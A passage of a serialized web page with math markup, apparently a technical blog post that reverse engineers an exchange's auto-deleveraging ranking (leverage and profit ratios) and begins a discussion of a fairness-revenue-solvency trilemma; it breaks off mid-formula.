",{"type":19,"tag":27,"props":157995,"children":157997},{"className":157996},[],[157998],{"type":24,"value":157999},"abs_notional / account_value",{"type":24,"value":948},{"type":19,"tag":20,"props":158002,"children":158003},{},[158004],{"type":24,"value":158005},"This tells us the risk multiplier that the user took on for this position.",{"type":19,"tag":156533,"props":158007,"children":158011},{"addr":158008,"line-start":158009,"line-end":158010},"0x555556abb140","278","296",[],{"type":19,"tag":36,"props":158013,"children":158015},{"id":158014},"ratio-2-profit-ratio",[158016],{"type":24,"value":158017},"Ratio 2: Profit Ratio",{"type":19,"tag":158,"props":158019,"children":158020},{},[158021],{"type":19,"tag":27,"props":158022,"children":158024},{"className":158023},[1411,156561],[158025],{"type":19,"tag":168,"props":158026,"children":158028},{"className":158027},[156566],[158029],{"type":19,"tag":168,"props":158030,"children":158032},{"className":158031},[1417],[158033],{"type":19,"tag":168,"props":158034,"children":158036},{"className":158035,"ariaHidden":1423},[1422],[158037,158068],{"type":19,"tag":168,"props":158038,"children":158040},{"className":158039},[1428],[158041,158045,158055,158059,158064],{"type":19,"tag":168,"props":158042,"children":158044},{"className":158043,"style":112589},[1433],[],{"type":19,"tag":168,"props":158046,"children":158048},{"className":158047},[1439,24],[158049],{"type":19,"tag":168,"props":158050,"children":158052},{"className":158051},[1439],[158053],{"type":24,"value":158054},"profit ratio",{"type":19,"tag":168,"props":158056,"children":158058},{"className":158057,"style":1618},[1520],[],{"type":19,"tag":168,"props":158060,"children":158062},{"className":158061},[1623],[158063],{"type":24,"value":486},{"type":19,"tag":168,"props":158065,"children":158067},{"className":158066,"style":1618},[1520],[],{"type":19,"tag":168,"props":158069,"children":158071},{"className":158070},[1428],[158072,158076],{"type":19,"tag":168,"props":158073,"children":158075},{"className":158074,"style":156614},[1433],[],{"type":19,"tag":168,"props":158077,"children":158079},{"className":158078},[1439],[158080,158084,158203],{"type":19,"tag":168,"props":158081,"children":158083},{"className":158082},[19172,111052],[],{"type":19,"tag":168,"props":158085,"children":158087},{"className":158086},[111057],[158088],{"type":19,"tag":168,"props":158089,"children":158091},{"className":158090},[1461,19097],[158092,158192],{"type":19,"tag":168,"props":158093,"children":158095},{"className":158094},[1466],[158096,158187],{"type":19,"tag":168,"props":158097,"children":158099},{"className":158098,"style":156639},[1471],[158100,158121,158132],{"type":19,"tag":168,"props":158101,"children":158102},{"style":156643},[158103,158107],{"type":19,"tag":168,"props":158104,"children":158106},{"className":158105,"style":109705},[1480],[],{"type":19,"tag":168,"props":158108,"children":158110},{"className":158109},[1439],[158111],{"type":19,"tag":168,"props":158112,"children":158114},{"className":158113},[1439,24],[158115],{"type":19,"tag":168,"props":158116,"children":158118},{"className":158117},[1439],[158119],{"type":24,"value":158120},"entry notional",{"type":19,"tag":168,"props":158122,"children":158123},{"style":111107},[158124,158128],{"type":19,"tag":168,"props":158125,"children":158127},{"className":158126,"style":109705},[1480],[],{"type":19,"tag":168,"props":158129,"children":158131},{"className":158130,"style":111117},[111116],[],{"type":19,"tag":168,"props":158133,"children":158134},{"style":156694},[158135,158139],{"type":19,"tag":168,"props":158136,"children":158138},{"className":158137,"style":109705},[1480],[],{"type":19,"tag":168,"props":158140,"children":158142},{"className":158141},[1439],[158143,158149,158154,158164,158169,158173,158177,158182],{"type":19,"tag":168,"props":158144,"children":158146},{"className":158145},[19079],[158147],{"type":24,"value":158148},"max",{"type":19,"tag":168,"props":158150,"children":158152},{"className":158151},[19172],[158153],{"type":24,"value":500},{"type":19,"tag":168,"props":158155,"children":158157},{"className":158156},[1439,24],[158158],{"type":19,"tag":168,"props":158159,"children":158161},{"className":158160},[1439],[158162],{"type":24,"value":158163},"pnl",{"type":19,"tag":168,"props":158165,"children":158167},{"className":158166},[1552],[158168],{"type":24,"value":1555},{"type":19,"tag":168,"props":158170,"children":158172},{"className":158171,"style":1559},[1520],[],{"type":19,"tag":168,"props":158174,"children":158176},{"className":158175,"style":1559},[1520],[],{"type":19,"tag":168,"props":158178,"children":158180},{"className":158179},[1439],[158181],{"type":24,"value":1452},{"type":19,"tag":168,"props":158183,"children":158185},{"className":158184},[19194],[158186],{"type":24,"value":524},{"type":19,"tag":168,"props":158188,"children":158190},{"className":158189},[19200],[158191],{"type":24,"value":19203},{"type":19,"tag":168,"props":158193,"children":158195},{"className":158194},[1466],[158196],{"type":19,"tag":168,"props":158197,"children":158199},{"className":158198,"style":156737},[1471],[158200],{"type":19,"tag":168,"props":158201,"children":158202},{},[],{"type":19,"tag":168,"props":158204,"children":158206},{"className":158205},[19194,111052],[],{"type":19,"tag":20,"props":158208,"children":158209},{},[158210,158212,158218],{"type":24,"value":158211},"It uses entry notional (",{"type":19,"tag":27,"props":158213,"children":158215},{"className":158214},[],[158216],{"type":24,"value":158217},"r14_2",{"type":24,"value":158219},") as the divisor. PNL is clamped to non-negative before division.",{"type":19,"tag":20,"props":158221,"children":158222},{},[158223],{"type":24,"value":158224},"This basically tells us how well the user's bet went.",{"type":19,"tag":156533,"props":158226,"children":158230},{"addr":158227,"addr-start":158228,"addr-end":158229},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":19,"tag":20,"props":158232,"children":158233},{},[158234,158236,158242,158244,158250],{"type":24,"value":158235},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":19,"tag":27,"props":158237,"children":158239},{"className":158238},[],[158240],{"type":24,"value":158241},"1e-8",{"type":24,"value":158243},", in order not to cancel each other out. The final ADL ranking score is ",{"type":19,"tag":27,"props":158245,"children":158247},{"className":158246},[],[158248],{"type":24,"value":158249},"effective_leverage * profit_ratio",{"type":24,"value":158251},", consistent with both ratio directions and the max clamp on PNL.",{"type":19,"tag":20,"props":158253,"children":158254},{},[158255],{"type":24,"value":158256},"So, in essence, we look for risky and profitable positions!",{"type":19,"tag":7050,"props":158258,"children":158260},{"id":158259},"partial-and-total-adl",[158261],{"type":24,"value":158262},"Partial and Total ADL",{"type":19,"tag":20,"props":158264,"children":158265},{},[158266],{"type":24,"value":158267},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":19,"tag":20,"props":158269,"children":158270},{},[158271],{"type":24,"value":158272},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":19,"tag":20,"props":158274,"children":158275},{},[158276,158278,158283],{"type":24,"value":158277},"So essentially, in pseudocode, the whole latter part of ",{"type":19,"tag":27,"props":158279,"children":158281},{"className":158280},[],[158282],{"type":24,"value":156858},{"type":24,"value":158284}," boils down to:",{"type":19,"tag":156533,"props":158286,"children":158289},{"addr":156904,"line-start":158287,"line-end":158288},"3252","3632",[],{"type":19,"tag":20,"props":158291,"children":158292},{},[158293],{"type":24,"value":158294},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":19,"tag":32847,"props":158296,"children":158298},{"id":158297},"branches",[158299],{"type":24,"value":158300},"Branches",{"type":19,"tag":20,"props":158302,"children":158303},{},[158304],{"type":24,"value":158305},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":19,"tag":20,"props":158307,"children":158308},{},[158309],{"type":24,"value":158310},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":19,"tag":32847,"props":158312,"children":158314},{"id":158313},"financial-conclusions",[158315],{"type":24,"value":158316},"Financial Conclusions",{"type":19,"tag":36,"props":158318,"children":158320},{"id":158319},"fairness-revenue-solvency-trilemma",[158321],{"type":24,"value":158322},"Fairness, Revenue, Solvency Trilemma",{"type":19,"tag":20,"props":158324,"children":158325},{},[158326,158328,158334],{"type":24,"value":158327},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":19,"tag":269,"props":158329,"children":158331},{"href":157686,"rel":158330},[273],[158332],{"type":24,"value":158333},"the paper mentioned before",{"type":24,"value":158335},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":19,"tag":43,"props":158337,"children":158338},{},[158339,158349,158359],{"type":19,"tag":47,"props":158340,"children":158341},{},[158342,158347],{"type":19,"tag":293,"props":158343,"children":158344},{},[158345],{"type":24,"value":158346},"Solvency",{"type":24,"value":158348},": can the platform pay every trader out?",{"type":19,"tag":47,"props":158350,"children":158351},{},[158352,158357],{"type":19,"tag":293,"props":158353,"children":158354},{},[158355],{"type":24,"value":158356},"Fairness",{"type":24,"value":158358},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":19,"tag":47,"props":158360,"children":158361},{},[158362,158367],{"type":19,"tag":293,"props":158363,"children":158364},{},[158365],{"type":24,"value":158366},"Revenue",{"type":24,"value":158368},": the fraction of total winner PNL that survives after deleveraging.",{"type":19,"tag":20,"props":158370,"children":158371},{},[158372],{"type":24,"value":158373},"Let's borrow these definitions from the paper:",{"type":19,"tag":158,"props":158375,"children":158376},{},[158377],{"type":19,"tag":27,"props":158378,"children":158380},{"className":158379},[1411,156561],[158381],{"type":19,"tag":168,"props":158382,"children":158384},{"className":158383},[156566],[158385],{"type":19,"tag":168,"props":158386,"children":158388},{"className":158387},[1417],[158389],{"type":19,"tag":168,"props":158390,"children":158392},{"className":158391,"ariaHidden":1423},[1422],[158393],{"type":19,"tag":168,"props":158394,"children":158396},{"className":158395},[1428],[158397,158402],{"type":19,"tag":168,"props":158398,"children":158401},{"className":158399,"style":158400},[1433],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":19,"tag":168,"props":158403,"children":158405},{"className":158404},[1439],[158406],{"type":19,"tag":168,"props":158407,"children":158409},{"className":158408},[157263],[158410,159229],{"type":19,"tag":168,"props":158411,"children":158413},{"className":158412},[157268],[158414],{"type":19,"tag":168,"props":158415,"children":158417},{"className":158416},[1461,19097],[158418,159217],{"type":19,"tag":168,"props":158419,"children":158421},{"className":158420},[1466],[158422,159212],{"type":19,"tag":168,"props":158423,"children":158426},{"className":158424,"style":158425},[1471],"height:11.8392em;",[158427,158498,158515,158584,158654,158723,158793,158862,158931,159000,159070,159141],{"type":19,"tag":168,"props":158428,"children":158430},{"style":158429},"top:-14.3707em;",[158431,158436],{"type":19,"tag":168,"props":158432,"children":158435},{"className":158433,"style":158434},[1480],"height:3.3714em;",[],{"type":19,"tag":168,"props":158437,"children":158439},{"className":158438},[1439],[158440],{"type":19,"tag":168,"props":158441,"children":158443},{"className":158442},[1439],[158444,158449],{"type":19,"tag":168,"props":158445,"children":158447},{"className":158446,"style":19044},[1439,19043],[158448],{"type":24,"value":19047},{"type":19,"tag":168,"props":158450,"children":158452},{"className":158451},[1456],[158453],{"type":19,"tag":168,"props":158454,"children":158456},{"className":158455},[1461,19097],[158457,158487],{"type":19,"tag":168,"props":158458,"children":158460},{"className":158459},[1466],[158461,158482],{"type":19,"tag":168,"props":158462,"children":158464},{"className":158463,"style":106966},[1471],[158465],{"type":19,"tag":168,"props":158466,"children":158468},{"style":158467},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[158469,158473],{"type":19,"tag":168,"props":158470,"children":158472},{"className":158471,"style":1481},[1480],[],{"type":19,"tag":168,"props":158474,"children":158476},{"className":158475},[1486,1487,1488,1489],[158477],{"type":19,"tag":168,"props":158478,"children":158480},{"className":158479},[1439,19043,1489],[158481],{"type":24,"value":53887},{"type":19,"tag":168,"props":158483,"children":158485},{"className":158484},[19200],[158486],{"type":24,"value":19203},{"type":19,"tag":168,"props":158488,"children":158490},{"className":158489},[1466],[158491],{"type":19,"tag":168,"props":158492,"children":158494},{"className":158493,"style":90618},[1471],[158495],{"type":19,"tag":168,"props":158496,"children":158497},{},[],{"type":19,"tag":168,"props":158499,"children":158501},{"style":158500},"top:-12.8707em;",[158502,158506],{"type":19,"tag":168,"props":158503,"children":158505},{"className":158504,"style":158434},[1480],[],{"type":19,"tag":168,"props":158507,"children":158509},{"className":158508},[1439],[158510],{"type":19,"tag":168,"props":158511,"children":158513},{"className":158512,"style":92555},[1439,19043],[158514],{"type":24,"value":92589},{"type":19,"tag":168,"props":158516,"children":158518},{"style":158517},"top:-10.8392em;",[158519,158523],{"type":19,"tag":168,"props":158520,"children":158522},{"className":158521,"style":158434},[1480],[],{"type":19,"tag":168,"props":158524,"children":158526},{"className":158525},[1439],[158527],{"type":19,"tag":168,"props":158528,"children":158530},{"className":158529},[1439],[158531,158536],{"type":19,"tag":168,"props":158532,"children":158534},{"className":158533},[1439,19043],[158535],{"type":24,"value":543},{"type":19,"tag":168,"props":158537,"children":158539},{"className":158538},[1456],[158540],{"type":19,"tag":168,"props":158541,"children":158543},{"className":158542},[1461,19097],[158544,158573],{"type":19,"tag":168,"props":158545,"children":158547},{"className":158546},[1466],[158548,158568],{"type":19,"tag":168,"props":158549,"children":158551},{"className":158550,"style":91064},[1471],[158552],{"type":19,"tag":168,"props":158553,"children":158554},{"style":90591},[158555,158559],{"type":19,"tag":168,"props":158556,"children":158558},{"className":158557,"style":1481},[1480],[],{"type":19,"tag":168,"props":158560,"children":158562},{"className":158561},[1486,1487,1488,1489],[158563],{"type":19,"tag":168,"props":158564,"children":158566},{"className":158565},[1439,19043,1489],[158567],{"type":24,"value":1157},{"type":19,"tag":168,"props":158569,"children":158571},{"className":158570},[19200],[158572],{"type":24,"value":19203},{"type":19,"tag":168,"props":158574,"children":158576},{"className":158575},[1466],[158577],{"type":19,"tag":168,"props":158578,"children":158580},{"className":158579,"style":90618},[1471],[158581],{"type":19,"tag":168,"props":158582,"children":158583},{},[],{"type":19,"tag":168,"props":158585,"children":158587},{"style":158586},"top:-8.8188em;",[158588,158592],{"type":19,"tag":168,"props":158589,"children":158591},{"className":158590,"style":158434},[1480],[],{"type":19,"tag":168,"props":158593,"children":158595},{"className":158594},[1439],[158596],{"type":19,"tag":168,"props":158597,"children":158599},{"className":158598},[1439],[158600,158606],{"type":19,"tag":168,"props":158601,"children":158603},{"className":158602,"style":91021},[1439,19043],[158604],{"type":24,"value":158605},"π",{"type":19,"tag":168,"props":158607,"children":158609},{"className":158608},[1456],[158610],{"type":19,"tag":168,"props":158611,"children":158613},{"className":158612},[1461,19097],[158614,158643],{"type":19,"tag":168,"props":158615,"children":158617},{"className":158616},[1466],[158618,158638],{"type":19,"tag":168,"props":158619,"children":158621},{"className":158620,"style":91064},[1471],[158622],{"type":19,"tag":168,"props":158623,"children":158624},{"style":91068},[158625,158629],{"type":19,"tag":168,"props":158626,"children":158628},{"className":158627,"style":1481},[1480],[],{"type":19,"tag":168,"props":158630,"children":158632},{"className":158631},[1486,1487,1488,1489],[158633],{"type":19,"tag":168,"props":158634,"children":158636},{"className":158635},[1439,19043,1489],[158637],{"type":24,"value":1157},{"type":19,"tag":168,"props":158639,"children":158641},{"className":158640},[19200],[158642],{"type":24,"value":19203},{"type":19,"tag":168,"props":158644,"children":158646},{"className":158645},[1466],[158647],{"type":19,"tag":168,"props":158648,"children":158650},{"className":158649,"style":90618},[1471],[158651],{"type":19,"tag":168,"props":158652,"children":158653},{},[],{"type":19,"tag":168,"props":158655,"children":158657},{"style":158656},"top:-7.3188em;",[158658,158662],{"type":19,"tag":168,"props":158659,"children":158661},{"className":158660,"style":158434},[1480],[],{"type":19,"tag":168,"props":158663,"children":158665},{"className":158664},[1439],[158666],{"type":19,"tag":168,"props":158667,"children":158669},{"className":158668},[1439],[158670,158675],{"type":19,"tag":168,"props":158671,"children":158673},{"className":158672},[1439,19043],[158674],{"type":24,"value":48937},{"type":19,"tag":168,"props":158676,"children":158678},{"className":158677},[1456],[158679],{"type":19,"tag":168,"props":158680,"children":158682},{"className":158681},[1461,19097],[158683,158712],{"type":19,"tag":168,"props":158684,"children":158686},{"className":158685},[1466],[158687,158707],{"type":19,"tag":168,"props":158688,"children":158690},{"className":158689,"style":91064},[1471],[158691],{"type":19,"tag":168,"props":158692,"children":158693},{"style":90591},[158694,158698],{"type":19,"tag":168,"props":158695,"children":158697},{"className":158696,"style":1481},[1480],[],{"type":19,"tag":168,"props":158699,"children":158701},{"className":158700},[1486,1487,1488,1489],[158702],{"type":19,"tag":168,"props":158703,"children":158705},{"className":158704},[1439,19043,1489],[158706],{"type":24,"value":1157},{"type":19,"tag":168,"props":158708,"children":158710},{"className":158709},[19200],[158711],{"type":24,"value":19203},{"type":19,"tag":168,"props":158713,"children":158715},{"className":158714},[1466],[158716],{"type":19,"tag":168,"props":158717,"children":158719},{"className":158718,"style":90618},[1471],[158720],{"type":19,"tag":168,"props":158721,"children":158722},{},[],{"type":19,"tag":168,"props":158724,"children":158726},{"style":158725},"top:-5.8188em;",[158727,158731],{"type":19,"tag":168,"props":158728,"children":158730},{"className":158729,"style":158434},[1480],[],{"type":19,"tag":168,"props":158732,"children":158734},{"className":158733},[1439],[158735],{"type":19,"tag":168,"props":158736,"children":158738},{"className":158737},[1439],[158739,158744],{"type":19,"tag":168,"props":158740,"children":158742},{"className":158741,"style":119814},[1439,19043],[158743],{"type":24,"value":47054},{"type":19,"tag":168,"props":158745,"children":158747},{"className":158746},[1456],[158748],{"type":19,"tag":168,"props":158749,"children":158751},{"className":158750},[1461,19097],[158752,158782],{"type":19,"tag":168,"props":158753,"children":158755},{"className":158754},[1466],[158756,158777],{"type":19,"tag":168,"props":158757,"children":158759},{"className":158758,"style":91064},[1471],[158760],{"type":19,"tag":168,"props":158761,"children":158763},{"style":158762},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[158764,158768],{"type":19,"tag":168,"props":158765,"children":158767},{"className":158766,"style":1481},[1480],[],{"type":19,"tag":168,"props":158769,"children":158771},{"className":158770},[1486,1487,1488,1489],[158772],{"type":19,"tag":168,"props":158773,"children":158775},{"className":158774},[1439,19043,1489],[158776],{"type":24,"value":1157},{"type":19,"tag":168,"props":158778,"children":158780},{"className":158779},[19200],[158781],{"type":24,"value":19203},{"type":19,"tag":168,"props":158783,"children":158785},{"className":158784},[1466],[158786],{"type":19,"tag":168,"props":158787,"children":158789},{"className":158788,"style":90618},[1471],[158790],{"type":19,"tag":168,"props":158791,"children":158792},{},[],{"type":19,"tag":168,"props":158794,"children":158796},{"style":158795},"top:-4.3188em;",[158797,158801],{"type":19,"tag":168,"props":158798,"children":158800},{"className":158799,"style":158434},[1480],[],{"type":19,"tag":168,"props":158802,"children":158804},{"className":158803},[1439],[158805],{"type":19,"tag":168,"props":158806,"children":158808},{"className":158807},[1439],[158809,158814],{"type":19,"tag":168,"props":158810,"children":158812},{"className":158811},[1439,19043],[158813],{"type":24,"value":16729},{"type":19,"tag":168,"props":158815,"children":158817},{"className":158816},[1456],[158818],{"type":19,"tag":168,"props":158819,"children":158821},{"className":158820},[1461,19097],[158822,158851],{"type":19,"tag":168,"props":158823,"children":158825},{"className":158824},[1466],[158826,158846],{"type":19,"tag":168,"props":158827,"children":158829},{"className":158828,"style":91064},[1471],[158830],{"type":19,"tag":168,"props":158831,"children":158832},{"style":90591},[158833,158837],{"type":19,"tag":168,"props":158834,"children":158836},{"className":158835,"style":1481},[1480],[],{"type":19,"tag":168,"props":158838,"children":158840},{"className":158839},[1486,1487,1488,1489],[158841],{"type":19,"tag":168,"props":158842,"children":158844},{"className":158843},[1439,19043,1489],[158845],{"type":24,"value":1157},{"type":19,"tag":168,"props":158847,"children":158849},{"className":158848},[19200],[158850],{"type":24,"value":19203},{"type":19,"tag":168,"props":158852,"children":158854},{"className":158853},[1466],[158855],{"type":19,"tag":168,"props":158856,"children":158858},{"className":158857,"style":90618},[1471],[158859],{"type":19,"tag":168,"props":158860,"children":158861},{},[],{"type":19,"tag":168,"props":158863,"children":158865},{"style":158864},"top:-2.5512em;",[158866,158870],{"type":19,"tag":168,"props":158867,"children":158869},{"className":158868,"style":158434},[1480],[],{"type":19,"tag":168,"props":158871,"children":158873},{"className":158872},[1439],[158874],{"type":19,"tag":168,"props":158875,"children":158877},{"className":158876},[1439],[158878,158883],{"type":19,"tag":168,"props":158879,"children":158881},{"className":158880},[1439,19043],[158882],{"type":24,"value":81834},{"type":19,"tag":168,"props":158884,"children":158886},{"className":158885},[1456],[158887],{"type":19,"tag":168,"props":158888,"children":158890},{"className":158889},[1461,19097],[158891,158920],{"type":19,"tag":168,"props":158892,"children":158894},{"className":158893},[1466],[158895,158915],{"type":19,"tag":168,"props":158896,"children":158898},{"className":158897,"style":91064},[1471],[158899],{"type":19,"tag":168,"props":158900,"children":158901},{"style":90591},[158902,158906],{"type":19,"tag":168,"props":158903,"children":158905},{"className":158904,"style":1481},[1480],[],{"type":19,"tag":168,"props":158907,"children":158909},{"className":158908},[1486,1487,1488,1489],[158910],{"type":19,"tag":168,"props":158911,"children":158913},{"className":158912},[1439,19043,1489],[158914],{"type":24,"value":1157},{"type":19,"tag":168,"props":158916,"children":158918},{"className":158917},[19200],[158919],{"type":24,"value":19203},{"type":19,"tag":168,"props":158921,"children":158923},{"className":158922},[1466],[158924],{"type":19,"tag":168,"props":158925,"children":158927},{"className":158926,"style":90618},[1471],[158928],{"type":19,"tag":168,"props":158929,"children":158930},{},[],{"type":19,"tag":168,"props":158932,"children":158934},{"style":158933},"top:-0.3652em;",[158935,158939],{"type":19,"tag":168,"props":158936,"children":158938},{"className":158937,"style":158434},[1480],[],{"type":19,"tag":168,"props":158940,"children":158942},{"className":158941},[1439],[158943],{"type":19,"tag":168,"props":158944,"children":158946},{"className":158945},[1439],[158947,158952],{"type":19,"tag":168,"props":158948,"children":158950},{"className":158949,"style":90769},[1439,19043],[158951],{"type":24,"value":90772},{"type":19,"tag":168,"props":158953,"children":158955},{"className":158954},[1456],[158956],{"type":19,"tag":168,"props":158957,"children":158959},{"className":158958},[1461,19097],[158960,158989],{"type":19,"tag":168,"props":158961,"children":158963},{"className":158962},[1466],[158964,158984],{"type":19,"tag":168,"props":158965,"children":158967},{"className":158966,"style":140089},[1471],[158968],{"type":19,"tag":168,"props":158969,"children":158970},{"style":107963},[158971,158975],{"type":19,"tag":168,"props":158972,"children":158974},{"className":158973,"style":1481},[1480],[],{"type":19,"tag":168,"props":158976,"children":158978},{"className":158977},[1486,1487,1488,1489],[158979],{"type":19,"tag":168,"props":158980,"children":158982},{"className":158981,"style":19044},[1439,19043,1489],[158983],{"type":24,"value":3422},{"type":19,"tag":168,"props":158985,"children":158987},{"className":158986},[19200],[158988],{"type":24,"value":19203},{"type":19,"tag":168,"props":158990,"children":158992},{"className":158991},[1466],[158993],{"type":19,"tag":168,"props":158994,"children":158996},{"className":158995,"style":90618},[1471],[158997],{"type":19,"tag":168,"props":158998,"children":158999},{},[],{"type":19,"tag":168,"props":159001,"children":159003},{"style":159002},"top:2.2624em;",[159004,159008],{"type":19,"tag":168,"props":159005,"children":159007},{"className":159006,"style":158434},[1480],[],{"type":19,"tag":168,"props":159009,"children":159011},{"className":159010},[1439],[159012],{"type":19,"tag":168,"props":159013,"children":159015},{"className":159014},[1439],[159016,159022],{"type":19,"tag":168,"props":159017,"children":159019},{"className":159018,"style":90535},[1439,19043],[159020],{"type":24,"value":159021},"D",{"type":19,"tag":168,"props":159023,"children":159025},{"className":159024},[1456],[159026],{"type":19,"tag":168,"props":159027,"children":159029},{"className":159028},[1461,19097],[159030,159059],{"type":19,"tag":168,"props":159031,"children":159033},{"className":159032},[1466],[159034,159054],{"type":19,"tag":168,"props":159035,"children":159037},{"className":159036,"style":140089},[1471],[159038],{"type":19,"tag":168,"props":159039,"children":159040},{"style":107533},[159041,159045],{"type":19,"tag":168,"props":159042,"children":159044},{"className":159043,"style":1481},[1480],[],{"type":19,"tag":168,"props":159046,"children":159048},{"className":159047},[1486,1487,1488,1489],[159049],{"type":19,"tag":168,"props":159050,"children":159052},{"className":159051,"style":19044},[1439,19043,1489],[159053],{"type":24,"value":3422},{"type":19,"tag":168,"props":159055,"children":159057},{"className":159056},[19200],[159058],{"type":24,"value":19203},{"type":19,"tag":168,"props":159060,"children":159062},{"className":159061},[1466],[159063],{"type":19,"tag":168,"props":159064,"children":159066},{"className":159065,"style":90618},[1471],[159067],{"type":19,"tag":168,"props":159068,"children":159069},{},[],{"type":19,"tag":168,"props":159071,"children":159073},{"style":159072},"top:4.8901em;",[159074,159078],{"type":19,"tag":168,"props":159075,"children":159077},{"className":159076,"style":158434},[1480],[],{"type":19,"tag":168,"props":159079,"children":159081},{"className":159080},[1439],[159082],{"type":19,"tag":168,"props":159083,"children":159085},{"className":159084},[1439],[159086,159092],{"type":19,"tag":168,"props":159087,"children":159089},{"className":159088,"style":92543},[1439,19043],[159090],{"type":24,"value":159091},"U",{"type":19,"tag":168,"props":159093,"children":159095},{"className":159094},[1456],[159096],{"type":19,"tag":168,"props":159097,"children":159099},{"className":159098},[1461,19097],[159100,159130],{"type":19,"tag":168,"props":159101,"children":159103},{"className":159102},[1466],[159104,159125],{"type":19,"tag":168,"props":159105,"children":159107},{"className":159106,"style":140089},[1471],[159108],{"type":19,"tag":168,"props":159109,"children":159111},{"style":159110},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[159112,159116],{"type":19,"tag":168,"props":159113,"children":159115},{"className":159114,"style":1481},[1480],[],{"type":19,"tag":168,"props":159117,"children":159119},{"className":159118},[1486,1487,1488,1489],[159120],{"type":19,"tag":168,"props":159121,"children":159123},{"className":159122,"style":19044},[1439,19043,1489],[159124],{"type":24,"value":3422},{"type":19,"tag":168,"props":159126,"children":159128},{"className":159127},[19200],[159129],{"type":24,"value":19203},{"type":19,"tag":168,"props":159131,"children":159133},{"className":159132},[1466],[159134],{"type":19,"tag":168,"props":159135,"children":159137},{"className":159136,"style":90618},[1471],[159138],{"type":19,"tag":168,"props":159139,"children":159140},{},[],{"type":19,"tag":168,"props":159142,"children":159144},{"style":159143},"top:7.3078em;",[159145,159149],{"type":19,"tag":168,"props":159146,"children":159148},{"className":159147,"style":158434},[1480],[],{"type":19,"tag":168,"props":159150,"children":159152},{"className":159151},[1439],[159153],{"type":19,"tag":168,"props":159154,"children":159156},{"className":159155},[1439],[159157,159162],{"type":19,"tag":168,"props":159158,"children":159160},{"className":159159,"style":120311},[1439,19043],[159161],{"type":24,"value":120314},{"type":19,"tag":168,"props":159163,"children":159165},{"className":159164},[1456],[159166],{"type":19,"tag":168,"props":159167,"children":159169},{"className":159168},[1461,19097],[159170,159201],{"type":19,"tag":168,"props":159171,"children":159173},{"className":159172},[1466],[159174,159196],{"type":19,"tag":168,"props":159175,"children":159178},{"className":159176,"style":159177},[1471],"height:0.2806em;",[159179],{"type":19,"tag":168,"props":159180,"children":159182},{"style":159181},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[159183,159187],{"type":19,"tag":168,"props":159184,"children":159186},{"className":159185,"style":1481},[1480],[],{"type":19,"tag":168,"props":159188,"children":159190},{"className":159189},[1486,1487,1488,1489],[159191],{"type":19,"tag":168,"props":159192,"children":159194},{"className":159193},[1439,19043,1489],[159195],{"type":24,"value":19185},{"type":19,"tag":168,"props":159197,"children":159199},{"className":159198},[19200],[159200],{"type":24,"value":19203},{"type":19,"tag":168,"props":159202,"children":159204},{"className":159203},[1466],[159205],{"type":19,"tag":168,"props":159206,"children":159208},{"className":159207,"style":90618},[1471],[159209],{"type":19,"tag":168,"props":159210,"children":159211},{},[],{"type":19,"tag":168,"props":159213,"children":159215},{"className":159214},[19200],[159216],{"type":24,"value":19203},{"type":19,"tag":168,"props":159218,"children":159220},{"className":159219},[1466],[159221],{"type":19,"tag":168,"props":159222,"children":159225},{"className":159223,"style":159224},[1471],"height:11.3392em;",[159226],{"type":19,"tag":168,"props":159227,"children":159228},{},[],{"type":19,"tag":168,"props":159230,"children":159232},{"className":159231},[157348],[159233],{"type":19,"tag":168,"props":159234,"children":159236},{"className":159235},[1461,19097],[159237,160939],{"type":19,"tag":168,"props":159238,"children":159240},{"className":159239},[1466],[159241,160934],{"type":19,"tag":168,"props":159242,"children":159244},{"className":159243,"style":158425},[1471],[159245,159283,159321,159468,159703,159858,159963,160006,160227,160386,160576,160728],{"type":19,"tag":168,"props":159246,"children":159247},{"style":158429},[159248,159252],{"type":19,"tag":168,"props":159249,"children":159251},{"className":159250,"style":158434},[1480],[],{"type":19,"tag":168,"props":159253,"children":159255},{"className":159254},[1439],[159256,159260,159264,159269,159273],{"type":19,"tag":168,"props":159257,"children":159259},{"className":159258},[1439],[],{"type":19,"tag":168,"props":159261,"children":159263},{"className":159262,"style":1618},[1520],[],{"type":19,"tag":168,"props":159265,"children":159267},{"className":159266},[1623],[159268],{"type":24,"value":19062},{"type":19,"tag":168,"props":159270,"children":159272},{"className":159271,"style":1618},[1520],[],{"type":19,"tag":168,"props":159274,"children":159276},{"className":159275},[1439,24],[159277],{"type":19,"tag":168,"props":159278,"children":159280},{"className":159279},[1439],[159281],{"type":24,"value":159282},"mark price",{"type":19,"tag":168,"props":159284,"children":159285},{"style":158500},[159286,159290],{"type":19,"tag":168,"props":159287,"children":159289},{"className":159288,"style":158434},[1480],[],{"type":19,"tag":168,"props":159291,"children":159293},{"className":159292},[1439],[159294,159298,159302,159307,159311],{"type":19,"tag":168,"props":159295,"children":159297},{"className":159296},[1439],[],{"type":19,"tag":168,"props":159299,"children":159301},{"className":159300,"style":1618},[1520],[],{"type":19,"tag":168,"props":159303,"children":159305},{"className":159304},[1623],[159306],{"type":24,"value":19062},{"type":19,"tag":168,"props":159308,"children":159310},{"className":159309,"style":1618},[1520],[],{"type":19,"tag":168,"props":159312,"children":159314},{"className":159313},[1439,24],[159315],{"type":19,"tag":168,"props":159316,"children":159318},{"className":159317},[1439],[159319],{"type":24,"value":159320},"insurance 